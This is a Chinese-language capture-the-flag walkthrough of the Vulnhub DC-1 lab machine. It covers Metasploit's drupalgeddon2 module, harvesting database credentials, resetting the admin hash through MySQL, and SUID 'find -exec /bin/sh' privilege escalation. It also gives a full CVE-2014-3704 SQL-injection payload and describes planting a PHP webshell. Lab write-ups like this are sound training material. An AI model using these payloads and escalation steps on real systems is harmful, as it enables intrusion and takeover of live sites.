Vulnhub[DC1]
简介
下载
- DC-1.zip (Size: 733 MB)
- Download: http://www.five86.com/downloads/DC-1.zip
- Download (Mirror): https://download.vulnhub.com/dc/DC-1.zip
- Download (Torrent): https://download.vulnhub.com/dc/DC-1.zip.torrent
流程
信息收集
主机探活
kali中使用arp-scan进行主机探活
arp-scan --interface eth0 192.168.0.0/24
经过筛选可以知道192.168.0.150 是DC-1的ip
端口扫描
nmap -p- 192.168.0.150
可以这里开启了22、80、111端口
我们先从80端口入手
这里可以发现用的是DrupalCMS
渗透
Flag1
启动msf,搜索下Drupal可用的EXP
search Drupal
这里我们选用exploit/unix/webapp/drupal_drupalgeddon2
因为他是最新的,而且品质为excellent
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.0.150
show options
run
这样我们就可以成功得到一个会话。
我们用会话返回一个shell
查看目录,获取flag1
Every good CMS needs a config file - and so do you.
翻译:每个好的 CMS 都需要一个配置文件——你也一样。
这里也就是提示说去查看DrupalCMS的配置文件
Flag2
DrupalCMS的默认配置文件为 /var/www/sites/default/settings.php
这里我们获得数据库的账号dbuser
和密码R0ck3t
- flag2
- Brute force and dictionary attacks aren't the
- only ways to gain access (and you WILL need access).
- What can you do with these credentials?
翻译:
- 蛮力和字典攻击不是
- 获得访问权限的唯一方法(您将需要访问权限)。
- 您可以使用这些凭据做什么?
Flag3
这里我们直接连接mysql之后shell会没有反应的
这里我们需要用python转换成标准的shell
python -c "import pty;pty.spawn('/bin/bash')"
连接mysql
常规的mysql查询
这里的密码是经过drupal加密
在scripts的文件夹中有用来算密码的脚本
但是因为靶机的环境原因会报错
但是可以查到
明文:password
密文:$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4
直接update更新admin密码
update users set pass='$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4' where name='admin';
然后进行登录
经过查看可以发现Flag3
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
翻译:特殊权限将有助于查找密码 - 但您需要 -exec 该命令才能确定如何获取阴影中的内容。
这里提示我们提示用find -exec,想到用suid提权
Flag4
使用find / -name flag*.txt
命令,直接来查找flag文件,获取到flag4
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
翻译:
您可以使用相同的方法在 root 中查找或访问标志吗?
大概。但也许这并不容易。或者也许是?
提权
使用find找下具有root权限的suid
find / -perm -u=s -type f 2>/dev/null
可以看到find是可以用来提权的
我们尝试用find执行命令
# 这里需要注意-name参数填写的文件名,是需要系统真实存在的
find / -name flag4 -exec "whoami" \;
可以发现这使用的root用户权限
那么我们接下来用find提权
find / -name flag4 -exec "/bin/sh" \;
这里可以发现已经是root用户了
这算是预期解了,按照顺序下来的
非预期解
首先用nmap -A --script=vuln 192.168.0.150
扫描靶机
开放了80和22端口,并且存在cve-2014-3704
漏洞利用
cve-2014-3704这个漏洞是sql注入,能直接数据库添加用户名和密码
payload
pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0%20;update+users+set+name%3d'root'+,+pass+%3d+'$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld'+where+uid+%3d+'1';;#%20%20]=bob&name[0]=a
将上述payload贴进来,发包后,将会创建一个用户名为:root 密码:thanks的账户
成功用新用户登录进去
然后同样的可以找到flag3
flag3提示用find -exec,想到用suid提权
来到modules,开启php filter
新建articel文章,并写入php一句话木马,底下的text format换成PHP code
文章成功发布后,使用蚁剑连接
然后的流程和预期解差不多
也可以根据提示直接提权